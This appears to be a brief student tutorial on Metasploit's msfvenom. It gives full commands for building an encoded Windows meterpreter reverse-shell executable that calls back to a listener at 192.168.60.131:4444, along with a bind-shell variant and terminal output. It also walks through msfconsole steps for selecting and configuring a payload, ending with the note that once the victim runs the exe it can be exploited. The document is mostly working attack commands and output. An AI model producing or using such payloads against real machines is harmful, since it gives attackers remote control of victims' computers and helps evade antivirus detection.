

“MSF VENOM”

**--S.JOE MATHEW
(192IT159)**

Msf venom:

Msfvenom is a command line instance of Metasploit that is used to generate and output all of the various types of shell code that are available in Metasploit

Creating a payload:

- 1.To see list of available option type msfvenom in terminal
- 2.To create msf venom payload first we will see the reverse shell .

1.Reverse shell:

A reverse shell (also known as a connect-back) is the exact opposite: it requires the attacker to set up a listener first on his box, the target machine acts as a client connecting to that listener, and then finally the attacker receives the shell.

Note:

-p → payload
-f → file type
-lhost → local host
-lport → localport
-e → encoder

Command:

**Msfvenom -p windows/meterpreter/reverse_tcp
LHOST=192.168.60.131 LPORT=4444 -e x86/shikata_ga_nai -f exe > ft1.exe**

```

root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.60.131 LPORT=4444 -e x86/shikata_ga_nai -f exe > ft1.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 368 (iteration=0)
x86/shikata_ga_nai chosen with final size 368
Payload size: 368 bytes
Final size of exe file: 73802 bytes
root@kali:~#

```

2.Bind shell:

A bind shell is a kind that opens up a new service on the target machine and requires the attacker to connect to it in order to get a session

Command :

Msfvenom -p windows/meterpreter/bind_tcp - f exe > ft1.exe

STEPS TO USE MSFVENOM IN MSFCONSOLE

1. For opening Metasploit, type **msfconsole** in the shell to fire it up.

```

root@kali:~# msfconsole
[-] **starting the Metasploit Framework console ... \
[-] * WARNING: No database support: No database YAML file
[-] ***
[*] Starting the Metasploit Framework cOnsole ... \

```

2. Use command “**search**” to search for payloads in it (my case it is for windows).

```

msf5 > search payload/windows

```

There are plenty of payloads available for windows choose the best one which suits you.

| | | | | |
|---|--|--------|----|---------|
| 0 | payload/windows/meterpreter/reverse_tcp | normal | No | Windows |
| Meterpreter (Reflective Injection), Reverse TCP Stager | | | | |
| 1 | payload/windows/meterpreter/reverse_tcp_allports | normal | No | Windows |
| Meterpreter (Reflective Injection), Reverse All-Port TCP Stager | | | | |
| 2 | payload/windows/meterpreter/reverse_tcp_dns | normal | No | Windows |
| Meterpreter (Reflective Injection), Reverse TCP Stager (DNS) | | | | |
| 3 | payload/windows/meterpreter/reverse_tcp_rc4 | normal | No | Windows |
| Meterpreter (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm) | | | | |
| 4 | payload/windows/meterpreter/reverse_tcp_rc4_dns | normal | No | Windows |
| Meterpreter (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm) | | | | |
| 5 | payload/windows/meterpreter/reverse_tcp_uuid | normal | No | Windows |
| Meterpreter (Reflective Injection), Reverse TCP Stager with UUID Support | | | | |

3. **Use** command is used to select the payload.

```
msf5 > use payload/windows/meterpreter/reverse_tcp
msf5 payload(windows/meterpreter/reverse_tcp) > |
```

4. After selecting payload **show options** is used to see required fields that should be specified with the payload creation.

```
msf5 payload(windows/meterpreter/reverse_tcp) > show options
Module options (payload/windows/meterpreter/reverse_tcp):
  Name      Current Setting  Required  Description
  ----      -
  EXITFUNC  process         yes       Exit technique (Accepted: '', seh, thread, process, none)
  LHOST     127.0.0.1        yes       The listen address (an interface may be specified)
  LPORT     4444            yes       The listen port
```

5) After victim run your exe you can exploit ..

--THANK YOU

